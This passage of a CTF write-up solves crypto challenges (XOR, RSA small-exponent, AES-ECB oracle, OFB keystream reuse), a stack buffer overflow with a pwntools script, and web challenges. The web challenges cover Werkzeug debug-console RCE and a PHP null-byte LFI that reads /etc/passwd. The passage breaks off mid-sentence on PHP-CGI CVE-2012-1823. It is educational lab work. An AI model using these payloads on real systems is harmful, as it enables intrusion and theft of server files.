third character doing the same operations and so on until we have decrypted all the ciphertext. For doing so I wrote the following script which goes through all the characters in base64 and for each one tries to decrypt the message as if it's the first character in the plaintext: ```python#!/usr/bin/env python import base64import binasciiimport string def dec(f): # part 3 - hex z = binascii.unhexlify(f) # part 2 - cyclic xorring (CBC) for c in string.ascii_lowercase + string.ascii_uppercase + string.digits + '/+=': e = bytearray([ord(c)]) for i in range(len(z) - 1): e += bytearray([z[i] ^ e[i]]) # part 3 - base64 try: p = base64.b64decode(e) # checks if the flag is in the plaintext if b'flag' in p: print(c, p.decode('utf-8')) except: continue``` and by running this script we get the flag: ![](assets//images//fossil_2.png) **Resources:*** Block Cipher: https://en.wikipedia.org/wiki/Block_cipher* Block Cipher modes of operation and CBC: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation ## Perfect XORCan you decrypt the flag? Download the file below.\[decrypt.py](assets//scripts//decrypt.py) **`flag{tHE_br0kEN_Xor}`** **Solution:** with the challenge we get a python script: ```pythonimport base64n = 1i = 0cipher_b64 = b"MTE0LDg0LDQzNyw4MDk1LDMzNTUwNDM0LDg1ODk4NjkxNzAsMTM3NDM4NjkxMzc2LDIzMDU4NDMwMDgxMzk5NTIyMzUsMjY1ODQ1NTk5MTU2OTgzMTc0NDY1NDY5MjYxNTk1Mzg0MjI0NSwxOTE1NjE5NDI2MDgyMzYxMDcyOTQ3OTMzNzgwODQzMDM2MzgxMzA5OTczMjE1NDgxNjkyOTQsMTMxNjQwMzY0NTg1Njk2NDgzMzcyMzk3NTM0NjA0NTg3MjI5MTAyMjM0NzIzMTgzODY5NDMxMTc3ODM3MjgyMjMsMTQ0NzQwMTExNTQ2NjQ1MjQ0Mjc5NDYzNzMxMjYwODU5ODg0ODE1NzM2Nzc0OTE0NzQ4MzU4ODkwNjYzNTQzNDkxMzExOTkxNTIyMTYsMjM1NjI3MjM0NTcyNjczNDcwNjU3ODk1NDg5OTY3MDk5MDQ5ODg0Nzc1NDc4NTgzOTI2MDA3MTAxNDMwMjc1OTc1MDYzMzcyODMxNzg2MjIyMzk3MzAzNjU1Mzk2MDI2MDA1NjEzNjAyNTU1NjY0NjI1MDMyNzAxNzUwNTI4OTI1NzgwNDMyMTU1NDMzODI0OTg0Mjg3NzcxNTI0MjcwMTAzOTQ0OTY5MTg2NjQwMjg2NDQ1MzQxMjgwMzM4MzE0Mzk3OTAyMzY4Mzg2MjQwMzMxNzE0MzU5MjIzNTY2NDMyMTk3MDMxMDE3MjA3MTMxNjM1Mjc0ODcyOTg3NDc0MDA2NDc4MDE5Mzk1ODcxNjU5MzY0MDEwODc0MTkzNzU2NDkwNTc5MTg1NDk0OTIxNjA1NTU2NDcwODcsMTQxMDUzNzgzNzA2NzEyMDY5MDYzMjA3OTU4MDg2MDYzMTg5ODgxNDg2NzQzNTE0NzE1NjY3ODM4ODM4Njc1OTk5OTU0ODY3NzQyNjUyMzgwMTE0MTA0MTkzMzI5MDM3NjkwMjUxNTYxOTUwNTY4NzA5ODI5MzI3MTY0MDg3NzI0MzY2MzcwMDg3MTE2NzMxMjY4MTU5MzEzNjUyNDg3NDUwNjUyNDM5ODA1ODc3Mjk2MjA3Mjk3NDQ2NzIzMjk1MTY2NjU4MjI4ODQ2OTI2ODA3Nzg2NjUyODcwMTg4OTIwODY3ODc5NDUxNDc4MzY0NTY5MzEzOTIyMDYwMzcwNjk1MDY0NzM2MDczNTcyMzc4Njk1MTc2NDczMDU1MjY2ODI2MjUzMjg0ODg2MzgzNzE1MDcyOTc0MzI0NDYzODM1MzAwMDUzMTM4NDI5NDYwMjk2NTc1MTQzMzY4MDY1NTcwNzU5NTM3MzI4MjQy" def a(n): b = 0 for i in range(1, n): if(n % i == 0): b += i return b == n print("flag{", end='', flush=True)cipher = base64.b64decode(cipher_b64).decode().split(",")while(i < len(cipher)): if (a(n)): print(chr(int(cipher[i]) ^ n), end='', flush=True) i += 1 n+=1 print("}")``` by the name of the file we can infer that the code purpose is to decrypt the ciphertext stored in cipher_b64 and hopefully print the flag, but it seems a little bit slow... ![](assets//images//perfect_1.gif) at this point it's somewhat stop printing characters but still runs.\This challenge is quite similar to a challenge in nahamCon CTF called Homecooked (make sense as it's the same organizers), in it there was an inefficient primality check that made the code unreasonably slow, so we might be up against something like that, let's look at the code, it first prints the start of the flag format, then it decodes the ciphertext and splits in into an array of strings, then for each string it tries to find a value of n bigger than the one used previously that makes a return the Boolean value True (for the first string it just finds the first one bigger than zero that satisfy a) if the code discovered a matching n it then xors n with the string and prints the result, this part is coded somewhat efficient so let's move on to function a, for argument n the function goes through all the numbers smaller than n and checks for each one if it divides n, if so it adds it to a running total, in the end the function check if the sum is equal to n and return True if so otherwise it returns False. Basically a checks if the sum of the divisors of n is equal to n, numbers that satisfy this are often called perfect numbers and there are more efficient ways to find them, we have discovered that all even perfect numbers are of the form p * ( p + 1 ) / 2 where p is a Mersenne prime, which are primes of the form 2 ** q - 1 for some integer q, furthermore we still haven't discovered any odd perfect number so all the perfect numbers known to us (and important for this challenge) are even perfect number, so I took a list of q's off the internet (the integers that make up Mersenne primes) and modified the code a bit so that instead of trying to find a perfect number it just uses the next q on the list to create one (I also tried to find a formatted list of perfect numbers or of Mersenne primes themselves but didn't find any): ```pythonimport base64from functools import reduce mersenne = [2, 3, 5, 7, 13, 17, 19, 31, 61, 89, 107, 127, 521, 607, 1279, 2203, 2281, 3217, 4253, 4423, 9689, 9941, 11213, 19937, 21701, 23209, 44497, 86243, 110503, 132049, 216091, 756839, 859433, 1257787, 1398269, 2976221, 3021377, 6972593, 13466917, 20996011, 24036583, 25964951, 30402457] i = 0cipher_b64 = b"MTE0LDg0LDQzNyw4MDk1LDMzNTUwNDM0LDg1ODk4NjkxNzAsMTM3NDM4NjkxMzc2LDIzMDU4NDMwMDgxMzk5NTIyMzUsMjY1ODQ1NTk5MTU2OTgzMTc0NDY1NDY5MjYxNTk1Mzg0MjI0NSwxOTE1NjE5NDI2MDgyMzYxMDcyOTQ3OTMzNzgwODQzMDM2MzgxMzA5OTczMjE1NDgxNjkyOTQsMTMxNjQwMzY0NTg1Njk2NDgzMzcyMzk3NTM0NjA0NTg3MjI5MTAyMjM0NzIzMTgzODY5NDMxMTc3ODM3MjgyMjMsMTQ0NzQwMTExNTQ2NjQ1MjQ0Mjc5NDYzNzMxMjYwODU5ODg0ODE1NzM2Nzc0OTE0NzQ4MzU4ODkwNjYzNTQzNDkxMzExOTkxNTIyMTYsMjM1NjI3MjM0NTcyNjczNDcwNjU3ODk1NDg5OTY3MDk5MDQ5ODg0Nzc1NDc4NTgzOTI2MDA3MTAxNDMwMjc1OTc1MDYzMzcyODMxNzg2MjIyMzk3MzAzNjU1Mzk2MDI2MDA1NjEzNjAyNTU1NjY0NjI1MDMyNzAxNzUwNTI4OTI1NzgwNDMyMTU1NDMzODI0OTg0Mjg3NzcxNTI0MjcwMTAzOTQ0OTY5MTg2NjQwMjg2NDQ1MzQxMjgwMzM4MzE0Mzk3OTAyMzY4Mzg2MjQwMzMxNzE0MzU5MjIzNTY2NDMyMTk3MDMxMDE3MjA3MTMxNjM1Mjc0ODcyOTg3NDc0MDA2NDc4MDE5Mzk1ODcxNjU5MzY0MDEwODc0MTkzNzU2NDkwNTc5MTg1NDk0OTIxNjA1NTU2NDcwODcsMTQxMDUzNzgzNzA2NzEyMDY5MDYzMjA3OTU4MDg2MDYzMTg5ODgxNDg2NzQzNTE0NzE1NjY3ODM4ODM4Njc1OTk5OTU0ODY3NzQyNjUyMzgwMTE0MTA0MTkzMzI5MDM3NjkwMjUxNTYxOTUwNTY4NzA5ODI5MzI3MTY0MDg3NzI0MzY2MzcwMDg3MTE2NzMxMjY4MTU5MzEzNjUyNDg3NDUwNjUyNDM5ODA1ODc3Mjk2MjA3Mjk3NDQ2NzIzMjk1MTY2NjU4MjI4ODQ2OTI2ODA3Nzg2NjUyODcwMTg4OTIwODY3ODc5NDUxNDc4MzY0NTY5MzEzOTIyMDYwMzcwNjk1MDY0NzM2MDczNTcyMzc4Njk1MTc2NDczMDU1MjY2ODI2MjUzMjg0ODg2MzgzNzE1MDcyOTc0MzI0NDYzODM1MzAwMDUzMTM4NDI5NDYwMjk2NTc1MTQzMzY4MDY1NTcwNzU5NTM3MzI4MjQy" print("flag{", end='', flush=True)cipher = base64.b64decode(cipher_b64).decode().split(",")while(i < len(cipher)): p = 2 ** (mersenne[i] - 1) * (2 ** mersenne[i] - 1) print(chr(int(cipher[i]) ^ p),end='', flush=True) i += 1 print("}")``` And by running this more efficient code we get the flag in no time: ![](assets//images//perfect_2.gif) **Resources:*** Perfect Number: https://en.wikipedia.org/wiki/Perfect_number* Mersenne Prime: https://en.wikipedia.org/wiki/Mersenne_prime* The list I used: https://www.math.utah.edu/~pa/math/mersenne.html#:~:text=p%20%3D%202%2C%203%2C%205,%2C%2024036583%2C%2025964951%2C%2030402457 ## Bon AppetitWow, look at the size of that! There is just so much to eat! Download the file below.\[prompt.txt](assets//files//prompt.txt) **Post-CTF Writeup**\**`flag{bon_appetit_that_was_one_big_meal}`** **Solution:** With the challenge we get a text file with the following content: ```n = 86431753033855985150102208955150746586984567379198773779001331665367046453352820308880271669822455250275431988006538670370772552305524017849991185913742092236107854495476674896994207609393292792117921602704960758666683584350417558805524933062668049116636465650763347823718120563639928978056322149710777096619 e = 43593315545590924566741189956390609253174017258933397294791907025439424425774036889638411588405163282027748339397612059157433970580764560513322386317250465583343254411506953895016705520492303066099891805233630388103484393657354623514864187319578938539051552967682959449373268200012558801313113531016410903723 c = 6017385445033775122298094219645257172271491520435372858165807340335108272067850311951631832540055908237902072239439990174700038153658826905580623598761388867106266417340542206012950531616502674237610428277052393911078615817819668756516229271606749753721145798023983027473008670407713937202613809743778378902``` This is obviously an RSA encryption with n being the modulus, e being the public exponent and c being a ciphertext, as I explained in previous challenges: > ... RSA is a public key cipher, which means that there are two keys, one that is public which is used to encrypt data, and one that is private which is used to decrypt data, obviously there is some sort of connection between the keys but it is hard to reveal the private key from the public keys (and in this case vice versa), specifically in RSA in order to find the private key we need to solve the integer factorization problem, which is thought to be in NP/P (this is not important for the challenge), we will call our public key e and our private key d, they posses the following attribute - d multiply by e modulo the value of (p-1) * (q-1) which we will name from now phi, is equal to 1, we will call d the modular multiplicative inverse of e and e the modular multiplicative inverse of d, furthermore if we take a plaintext message pt and raise it to the power of d and then to the power of e modulo the value of p * q, which we will name n and will be commonly given to us instead of q and p, we will get pt again (to understand why it is needed to delve into modern algebra, if n is smaller than pt then obviously we will not get pt), now with that in mind we can talk about the cipher, encryption in this cipher is raising the plaintext pt to the power of the public key e mod the value of n, similarly, decryption is raising the ciphertext to the power of d mod n... The common methods for breaking RSA is using a factor database that stores factors or using somewhat efficient algorithms and heuristics in order to factor the modulus n if n is relatively small or easy to factor, both won't work with an n as big as that, so we need to use a less common attack. Notice the public exponent e, it's very big, almost as big as the modulus itself, we often use very small exponent such as 3 and 65537 (there's even a variant of RSA which uses 2 as the public exponent) so a usage of large public exponent is most likely an indication that the private exponent d is small. For small private exponents there are 2 main attacks - Weiner's Attack and Boneh & Durfee's attack, the first attack is simpler and uses continued fraction to efficiently find d if d is smaller than modulus n to the power of 0.25, the later attack is much more complex relying on solving the small inverse problem efficiently to find d if d is smaller the modulus n to the power of 0.285 (or 0.292...the conclusions are inconclusive), after trying to use Weiner's attack and failing I succeeded in using Boneh & Durfee's attack. Unfortunately I can't explain in details how this attack works because it requires a lot of preliminary knowledge but I'll add both the papers of Weiner and Boneh & Durfee about the attacks in the resources for those interested (I'll maybe add an explanation later on the small inverse problem and how it's connected), for this attack I used a sage script I found online, updated it to python 3 and changed the size of the lattice to 6 and the value of delta (the power of n) to 0.26 to guarantee that the key is found, the modified code is [linked here](assets//scripts//buneh_durfee.sage) if you want to try it yourself (link for an online sage interpreter is in the resources), by running this code we find the private key and using it to decrypt the ciphertext we get the flag: ![](assets//images//bon_appetit_1.png) **Resources:*** Weiner's attack: http://monge.univ-mlv.fr/~jyt/Crypto/4/10.1.1.92.5261.pdf* Boneh & Durfee's attack: https://link.springer.com/content/pdf/10.1007%2F3-540-48910-X_1.pdf* Script used: https://www.cryptologie.net/article/241/implementation-of-boneh-and-durfee-attack-on-rsas-low-private-exponents/* Web Sage interpreter: https://sagecell.sagemath.org/ ## A E S T H E T I CI can't stop hearing MACINTOSH PLUS... Connect here:\`nc jh2i.com 50009` **Post-CTF Writeup**\**`flag{aes_that_ick_ecb_mode_lolz}`** **Solution:** we are given a port on a server to connect to, when we connect we are prompted to give input: ![](assets//images//aesthetic_1.png) btw if you don't see the image in the ASCII art maybe this will help: ![](assets//images//aesthetic_2.png) By giving input to the server we get an hex string in return with the message that the flag is sprinkled at the end: ![](assets//images//aesthetic_3.png) After a bit of fuzzing I discovered that for an empty input we receive an hex string with 64 characters, for input of length between the range of 1 to 32 we receive an hex string with length of 128 characters and for input with length bigger than 32 we get an hex string of length bigger than 128: ![](assets//images//aesthetic_4.png) furthermore by giving input with a length of 32 the second half of the hex string received is exactly the same as the hex string received when giving an empty input, this coupled with the reference to the block cipher AES in the challenge title led me to the conclusion that the server is using AES-ECB (AES with Electronic Codebook mode of operation) to encrypt our message appended to the flag and likely padded, as I explained in my writeup for Tyrannosaurus Rex modes of operation are used to allow block ciphers, which are limited by design to only specific lengths of plaintext, to encrypt information of any length, this is done by splitting the data into blocks, encrypting each block separately and then appending the resulting ciphertexts blocks together, ECB mode of operation encrypt every block in isolation where other modes of operation perform encryptions between blocks so that blocks with the same plaintext won't have the same ciphertext, but ECB don't do that meaning that **ECB encrypts the same plaintexts to the same ciphertexts**, a schema of this mode: <div align=center> </div> So now that we know how the hex value is created we can use a nice attack that John Hammond showed in a [recent video](https://www.youtube.com/watch?v=f-iz_ZAS258). Because we know that input of length higher than 32 gives us an output with 64 more characters than input with length of at most 32 we can deduce that the plaintext (our input appended to the flag and padded) is split into blocks of 32 characters, so when our input is 32 characters long the first block in the ciphertext (first 64 characters in the ciphertext) is entirely made out of our input and the second block in the ciphertext is the flag with the padding, and when our input is 31 characters long the first block in the ciphertext is our input with the first letter of the flag in the end. So we can choose a random string of 31 characters and iterate over all the characters and check if the first block in the ciphertext when the input is our string appended to this (so the block is entirely our input) is equal to the first block of the ciphertext when the input is only our string (so the block is our input and the first character of the flag), after finding the first letter we can do the same for the second letter using a string of 30 appended to the discovered letter and so on for all the letters using the start of the flag discovered so for as the end of the string, more formally: ![](assets//images//aesthetic_6.png) if you still don't understand the attack you should check out the video I linked above and the first comment of the video. For the attack I wrote the following code which does basically the same as I described, building the flag character by character: ```pythonfrom pwn import *import refrom string import ascii_lowercase, digits s = remote('jh2i.com', 50009)s.recvuntil("> ") flag = '' for i in range(1,33): s.sendline('a' * (32 - i)) base_block = re.findall('[a-f0-9]{64}', s.recvuntil("> ").decode('utf-8'))[0][:64] for c in '_{}' + ascii_lowercase + digits: s.sendline('a' * (32 - i) + flag + c) block = re.findall('[a-f0-9]{128}', s.recvuntil("> ").decode('utf-8'))[0][:64] if block == base_block: flag = flag + c print(flag) break s.close()```and running this script gives us the flag: ![](assets//images//aesthetic_7.png) **Resources:*** Block Cipher: https://en.wikipedia.org/wiki/Block_cipher* Block Cipher modes of operation and ECB: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation ## OFBuscatedI just learned some lesser used AES versions and decided to make my own! Connect here:\`nc jh2i.com 50028` [obfuscated.py](assets//scripts//ofbuscated.py) **Post-CTF Writeup**\**`flag{bop_it_twist_it_pull_it_lol}`** **Solution:** With the challenge we are given a port on a server to connect to and a python script, let's start with the server, by connecting to it we get an hex string: ![](assets//images//obfuscated_1.png) and by reconnecting we get a different one: ![](assets//images//obfuscated_2.png) this doesn't give us a lot of information so let's look at the script: ```python#!/usr/bin/env python3 from Crypto.Cipher import AESfrom Crypto.Util.Padding import padimport randomimport osimport socketserverimport stringimport threadingfrom time import *import randomimport timeimport binascii iv = #####REDACTED#####key = #####REDACTED#####flag = open("flag.txt", "rb").read().strip() class Service(socketserver.BaseRequestHandler): def handle(self): assert len(flag) % 16 == 1 blocks = self.shuffle(flag) ct = self.encrypt(blocks) self.send(binascii.hexlify(ct)) def byte_xor(self, ba1, ba2): return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)]) def encrypt(self, blocks): curr = iv ct = [] cipher = AES.new(key, AES.MODE_ECB) for block in blocks: curr = cipher.encrypt(curr) ct.append(self.byte_xor(block, curr)) return b''.join(ct) def shuffle(self, pt): pt = pad(pt, 16) pt = [pt[i: i + 16] for i in range(0, len(pt), 16)] random.shuffle(pt) return pt def send(self, string, newline=True): if type(string) is str: string = string.encode("utf-8") if newline: string = string + b"\n" self.request.sendall(string) def receive(self, prompt="> "): self.send(prompt, newline=False) return self.request.recv(4096).strip() class ThreadedService( socketserver.ThreadingMixIn, socketserver.TCPServer, socketserver.DatagramRequestHandler,): pass def main(): port = 3156 host = "0.0.0.0" service = Service server = ThreadedService((host, port), service) server.allow_reuse_address = True server_thread = threading.Thread(target=server.serve_forever) server_thread.daemon = True server_thread.start() print("Server started on " + str(server.server_address) + "!") # Now let the main thread just wait... while True: sleep(10) if __name__ == "__main__": main()``` From the main function we can assume that this is the script running on the port we get, but the function doesn't seems to be important so let's get rid of it and while we're at it remove the ThreadedService class and the receive function as there is no use for them: ```python#!/usr/bin/env python3 from Crypto.Cipher import AESfrom Crypto.Util.Padding import padimport randomimport osimport socketserverimport stringimport threadingfrom time import *import randomimport timeimport binascii iv = #####REDACTED#####key = #####REDACTED#####flag = open("flag.txt", "rb").read().strip() def handle(): assert len(flag) % 16 == 1 blocks = shuffle(flag) ct = encrypt(blocks) send(binascii.hexlify(ct)) def byte_xor(ba1, ba2): return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)]) def encrypt(blocks): curr = iv ct = [] cipher = AES.new(key, AES.MODE_ECB) for block in blocks: curr = cipher.encrypt(curr) ct.append(byte_xor(block, curr)) return b''.join(ct) def shuffle(pt): pt = pad(pt, 16) pt = [pt[i: i + 16] for i in range(0, len(pt), 16)] random.shuffle(pt) return pt def send(string, newline=True): if type(string) is str: string = string.encode("utf-8") if newline: string = string + b"\n" request.sendall(string) ``` Our most important function is handle, it start by asserting that the length of the flag modulo 16 is 1, so we now know that the length is 16 * k + 1 for some number k, then it invokes a function called shuffle, this function pads the flag to a length divided by 16, so the length after padding is 16 * (k + 1), notice that is uses the method pad from Crypto.Util.Padding, this method uses PKCS7 padding style by default which pads the length of the string to the end of it, so basically our flag is now padded with the number 16 * k + 1 for a total length of 16 * (k + 1), afterwards the method splits the padded flag into blocks of size 16 and shuffles the blocks using random.shuffle, so overall after invoking shuffle we are left with an array of k + 1 blocks in a random order, where each block is a length 16 and a part of the flag padded with his length. Afterwards, handle calls encrypt with the blocks as argument, for each block the method encrypt encrypts the variable iv using AES-ECB, it then xors it with the block and append the result to an array, this type of encryption is actually AES-OFB or in other words AES in Output Feedback mode of operation (it seems the organizers really love modes of operation), so as I explained in the previous challenge and a one before it modes of operation allows block ciphers to encrypt data of any length by splitting the data into blocks and encrypting each one separately and in the end appending the ciphertexts together, OFB is very interesting in that regard because the data itself is not encrypted by the block cipher in any stage but the initialization vector (iv) is, and each encrypted block of iv is xorred with a block of the plaintext to create the ciphertext, because of this trait we can think of using this mode of operation as using a one time pad (OTP), this is because we can perform all the encryptions of iv beforehand and only xor the plaintext with it when we need to much like using OTP (OTP is even stronger because the key is totally random), if you've know what is an OTP you probably can guess why this is bad and what we can exploit, a schema of this mode: <div align=center> </div> after encryption the ciphertext created is hexified and sent to the user. So why this is bad? as I said this encryption is basically OTP where the key is the encrypted iv, it is unsafe to reuse keys with one time pad encryption because if we have two ciphertext created by the same key c1 = m1 ^ k and c2 = m2 ^ k we can xor the ciphertext to get c1 ^ c2 = m1 ^ k ^ m2 ^ k = m1 ^ m2, also by having a message and its encryption we can retrieve the key (this is called a known plaintext attack), but why is all this relevant to us? well, because we actually know the value of the last block in the plaintext, but first let's find the length of the plaintext, we can do that by just decoding the hex value we get from the server to bytes and counting the number of bytes, by doing so we find that the length of the plaintext is 48 bytes meaning that 16 * ( k + 1 ) = 48 and k = 2, and so we now know that our flag has a length of 33 and the number of blocks in the encryption is 3, why we know the value of the last block? simply because we know that it comprises of the last character of the flag, which is a closing curly brace `}`, and then a padding using the number 33, and why this is bad? let's say we have a list of all the possible values of the first block of ciphertext (there are exactly 3), let them be b1, b2 and b3, one of them is obviously an encryption of the block we know, let's say its b2, and all of them are encrypted by xorring the same value k, so if we xor every block with every other block and xor that with the plaintext block we know 2 out of the 3 resulting blocks will be the other plaintext blocks, that's because xorring b2 with its plaintext results with k, and xorring k with every other block will result with the plaintext of b1 and b3, so we've just discovered all the blocks in the plaintext! So I wrote the following code to perform the attack, the code reconnects to server until it has all the possible values of the first block, then it xors the values between themselves and between the known plaintext block and check if the result is a printable string (it's very unlikely we'll get a printable result which is not in the flag), if so it finds its position in the flag (using the flag format) and prints the result: ```pythonfrom pwn import *import binasciifrom Crypto.Util.Padding import pad, unpadfrom string import printable def byte_xor(ba1, ba2): return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)]) # all possible combinations of plaintext blocks and encrypted IVpossible_ct_blocks = [] # the most likely third and final blockthird_block = pad(b'a' * 32 + b'}', 16)[-16:] # the flagflag = [b'',b'', third_block] # finds all the values of the first block in the ciphertextwhile True: s = remote('jh2i.com', 50028) ct_block = binascii.unhexlify(s.recvline().decode('utf-8')[:-1])[:16] s.close() if ct_block not in possible_ct_blocks: possible_ct_blocks += [ct_block] if len(possible_ct_blocks) == 3: break # decrypts the data using knowladge of the third block and the posibility of it being in every positionfor j in range(3): xorred_block = bytes(byte_xor(possible_ct_blocks[j], possible_ct_blocks[(j + 1) % 3])) xorred_block = byte_xor(xorred_block, third_block) if all(chr(c) in printable for c in xorred_block): if b'flag' in xorred_block: flag[0] = xorred_block else: flag[1] = xorred_block print(unpad(b''.join(flag), 16).decode('utf-8'))```and we got the flag: ![](assets//images//obfuscated_4.png) **Resources:*** Block Cipher: https://en.wikipedia.org/wiki/Block_cipher* Block Cipher modes of operation and ECB: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation* One Time Pad (OTP): https://en.wikipedia.org/wiki/One-time_pad *** # Binary Exploitation **Note:** For all the binary exploitation challenges I'll be working with [IDA free](https://www.hex-rays.com/products/ida/support/download_freeware/) and [pwntools](http://docs.pwntools.com/en/stable/) ## PancakesHow many flap-jacks are on your stack? Connect with:\`nc jh2i.com 50021` [pancakes](assets//executables//pancakes) **Post-CTF Writeup**\**`flag{too_many_pancakes_on_the_stack}`** **Solution:** With the challenge we are given an executable and a port on a server running this executable, by running this executable we can see that it asks for how many pancakes we want and then by giving it input it prints us a nice ASCII art of pancakes: ![](assets//images//pancakes_1.png) Okay now that we know what the executable does, let's see what we up against, using pwn.ELF() we can see which defenses the executable uses: <div align=center> </div> The executable doesn't use canaries to protect from buffer overflows so we might be able to overflow the return address of a subroutine and cause a segfault, let's try doing that: ![](assets//images//pancakes_3.png) We got a segfault! if you've noticed to cause the segfault I used a tool called `cyclic`, cyclic is a tool from pwntools which creates a string with a cyclic behavior, we can use this string in order to find the relative distance of important values on the stack from the start of the input buffer, the command `cyclic -n 8 400` creates a cyclic string of length 400 with cyclical substrings of length 8, let's try that again but now while debugging with IDA, by placing a breakpoint at the retn command (return from a subroutine command) of the main subroutine and looking at the value in the stack before the execution of the instruction, which is the address we return to, we can get the relative distance from the return address: ![](assets//images//pancakes_4.png) The value is `0x6161616161616174` or `aaaaaaat` in ASCII (I think I messed up this picture so believe me that this is the value), we can lookup the position of this substring using the command `cyclic -n 8 -o taaaaaaa` notice that I wrote the string in reverse, that is because data is written to the stack from right to left in IDA, by running this command we get an offset of 152 from the start of the buffer, and we have a way to jump to any point in the executable by overflowing the stack right until the return address and then modifying the value of the return address to what we choose, looking at the symbols we can see a subroutine named secret_recipe, this subroutine reads a file named flag.txt and then prints its content to the screen using puts: ![](assets//images//pancakes_5.png) this function obviously prints the flag, so let's jump to it, for that I wrote the following script in python using the pwn module (which is the module for pwntools), this script connects to the server, finds the address of the function secret_recipe and creates the matching payload so that the execution will return to this function after finishing with main,then the script sends the payload as input and print the flag received from the server: ```pythonfrom pwn import *import re e = ELF('pancakes')addr = p64(e.symbols['secret_recipe']) local = Falseif not local: s = remote('jh2i.com', 50021)else: s = process('pancakes') s.recv()s.sendline(b'A' * 152 + addr)response = s.recvall()print(re.findall('flag{.*}', response.decode('utf-8'))[0])s.close()``` and in action: ![](assets//images//pancakes_6.png) *** # Web ## LadybugWant to check out the new Ladybug Cartoon? It's still in production, so feel free to send in suggestions! Connect here:\http://jh2i.com:50018 **`flag{weurkzerg_the_worst_kind_of_debug}`** **Solution:** With the challenge we are given a url to a website: ![](assets//images//ladybug_1.png) The page seems pretty bare, there are some links to other pages in the website and an option to search the website or to contact ladybug using a form, I first tried checking if there's a XXS vulnerability in the contact page or a SQLi vulnerability / file inclusion vulnerability in the search option, that didn't seem to work, then I tried looking in the other pages in the hope that I'll discover something there, none of those seemed very interesting, but, their location in the webserver stood out to me, all of them are in the `film/` directory, the next logical step was to fuzz the directory, doing so I got an Error on the site: ![](assets//images//ladybug_2.png) This is great because we now know that the site is in debugging mode (we could also infer that from the challenge description but oh well), also we now know that the site is using Flask as a web framework, Flask is a web framework which became very popular in recent years mostly due to it simplicity, the framework depends on a web server gateway interface (WSGI) library called Werkzeug, A WSGI is a calling convention for web servers to forward requests to web frameworks (in our case Flask). Werkzeug also provides web servers with a debugger and a console to execute Python expression from, we can find this console by navigating to `/console`: ![](assets//images//ladybug_3.png) From this console we can execute commands on the server (RCE), let's first see who are we on the server, I used the following commands for that: ```pythonimport subprocess;out = subprocess.Popen(['whoami'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT);stdout,stderr = out.communicate();print(stdout);``` the command simply imports the subprocess library, creates a new process that executes `whoami` and prints the output of the command, by doing so we get: ![](assets//images//ladybug_4.png) The command worked!, now we can execute `ls` to see which files are in our working directory, doing so we can see that there's a file called flag.txt in there, and by using `cat` on the file we get the flag: ![](assets//images//ladybug_5.png) **Resources:*** Flask: https://en.wikipedia.org/wiki/Flask_(web_framework)* Flask RCE Debug Mode: http://ghostlulz.com/flask-rce-debug-mode/ ## BiteWant to learn about binary units of information? Check out the "Bite of Knowledge" website! Connect here:\http://jh2i.com:50010 **`flag{lfi_just_needed_a_null_byte}`** **Solution:** With the challenge we get a url for a website: ![](assets//images//bite_1.png) the site is about binary units, a possible clue for the exploit we need to use, it seems we can search the site or navigate to other pages, by looking at the url we can see that it uses a parameter called page for picking the resource to display, so the format is: `http://jh2i.com:50010/index.php?page=<resource>` we possibly have a local file inclusion vulnerability (LFI) here, as I explained in my writeup for nahamCon CTF: > PHP allows the inclusion of files from the server as parameters in order to extend the functionality of the script or to use code from other files, but if the script is not sanitizing the input as needed (filtering out sensitive files) an attacker can include any arbitrary file on the web server or at least use what's not filtered to his advantage Let's first try to include the PHP file itself, this will create some kind of a loop where this file is included again and again and will probably cause the browser to crash...but it's a good indicator that we have an LFI vulnerability without forcing us to use directory traversal, navigating to `/index.php?page=index.php` gives us: ![](assets//images//bite_2.png) index.php.php? it seems that the PHP file includes a resource with a name matching the parameter given appended with .php, lets try `/index.php?page=index` : ![](assets//images//bite_3.png) It worked! so we know that we have an LFI vulnerability where the parameter given is appended to a php extension, appending a string to the user input is a common defense mechanism against arbitrary file inclusion as we are limited only to a small scope of files, hopefully only ones that are safe to display, but there are several ways to go around this. In older versions of PHP by adding a null byte at the end of the parameter we can terminate the string, a null byte or null character is a character with an hex code of `\x00`, this character signifies the end of a string in C and as such strings in C are often called null-terminated strings, because PHP uses C functions for filesystem related operations adding a null byte in the parameter will cause the C function to only consider the string before the null byte. With that in mind let's check if we can use a null byte to display an arbitrary file, to mix things we'll try to include `/etc/passwd`, this file exists in all linux servers and is commonly accessible by all the users in the system (web applications are considered as users in linux), as such it's common to display the content of this file in order to prove access to a server or an exploit (proof of concept), we can represent a null byte in url encoding using `%00`, navigating to `/index.php?page=/etc/passwd%00` gives us: ![](assets//images//bite_4.png) We can use null bytes!...but where is the flag located?\At this point I tried a lot of possible locations for the flag until I discovered that it's located in the root directory in a file called `file.txt` navigating to `/index.php?page=/flag.txt%00` gives us the flag: ![](assets//images//bite_5.png) **Resources:*** File Inclusion Vulnerabilities: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/* Payload all the things - File Inclusion: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion* Null byte: https://en.wikipedia.org/wiki/Null_character* Null byte issues in PHP: https://www.php.net/manual/en/security.filesystem.nullbytes.php ## GI JoeThe real American hero! Connect here:\http://jh2i.com:50008 **Post-CTF Writeup**\**`flag{old_but_gold_attacks_with_cgi_joe}`** **Solution:** With the challenge we get a url to a website about G.I joe's movies called See GI Joe: ![](assets//images//gi_joe_1.png) From the name of the challenge we can assume it has something to do with Common Gateway Interface or CGI (See GI), Common Gateway Interface are interface specifications for communication between a web server (which runs the website) and other programs on the server, this allows webserver to execute commands on the server (such as querying a database), and is mostly used for dynamic webpages, this type of communication is handled by CGI scripts which are often stored in a directory called `cgi-bin` in the root directory of the web server. Looking around on the website I couldn't find something interesting, but by looking at the headers of the server responses using the inspect tool I discovered that the website is using the outdated PHP version 5.4.1 and Apache version 2.4.25, this are quite old versions of both PHP (current version is 7.3) and Apache (current version is 2.4.43) so I googled `php 5.4.1 exploit cgi` and discovered this [site](https://www.zero-day.cz/database/337/), according to it there's a vulnerability in this version of PHP which let us execute arbitrary code on the server, this vulnerability is often referred to by CVE-2012-1823 (or by CVE-2012-2311 because of a later discovery related to this vulnerability). In more details when providing a vulnerable 